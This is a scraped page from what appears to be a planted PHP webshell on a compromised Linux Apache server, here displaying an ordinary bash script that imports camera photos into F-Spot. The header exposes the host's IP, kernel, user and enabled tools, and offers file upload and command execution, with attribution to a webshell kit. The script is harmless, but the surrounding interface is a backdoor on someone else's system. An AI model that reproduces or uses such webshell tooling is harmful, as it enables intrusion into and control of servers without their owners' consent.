403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/bin/f-spot-import
#!/bin/bash -x

udi="$1"
#xmessage $udi

# check for gvfs mount point using gphoto2
gvfsuri=`gvfs-ls -c "$udi/"`
if [ "${gvfsuri:0:10}" = "gphoto2://" ] ; then
	if [ "${gvfsuri:11:4}" = "usb:" ] ; then
		# Yield for f-spot since it wants to access the device directly
		#
		# Rewrite the uri to something f-spot can handle
		#
		bus="${gvfsuri:15:3}"
		dev="${gvfsuri:19:3}"

		uri="gphoto2:usb:$bus,$dev"

		gvfs-mount --unmount-scheme gphoto2
		f-spot --import "$uri"
		exit
	fi
	# mounted via gphoto2 not using USB, stay with the plain directory
	f-spot --import "$udi"
	exit
fi

if [ "$udi" != "${udi#gphoto2:}" ]; then
	# gphoto2, as passed by gvfs/nautilus
	gvfs-mount -u "$udi" || true
	f-spot --import "$udi"
	exit
fi

if [ "$udi" != "${udi#file://}" ]; then
	# mount point, as passed by gvfs/nautilus.
	f-spot --import "$udi"
	exit
fi

mount_point=`hal-get-property --udi="$udi" --key=volume.mount_point` || true
if [ -n "$mount_point" ]; then
	# USB Mass Storage camera: need to pass f-spot a mount point
	f-spot --import "$mount_point"
	exit
else
	# Some other camera try GPhoto2

	bus=`hal-get-property --udi="$udi" --key=usb.bus_number`
	dev=`hal-get-property --udi="$udi" --key=usb.linux.device_number`
	uri=`printf gphoto2:[usb:%.3d,%.3d] $bus $dev`

	f-spot --import "$uri"
	exit
fi
xmessage "f-spot-import can't handle UDI: \"$udi\""

Youez - 2016 - github.com/yon3zu
LinuXploit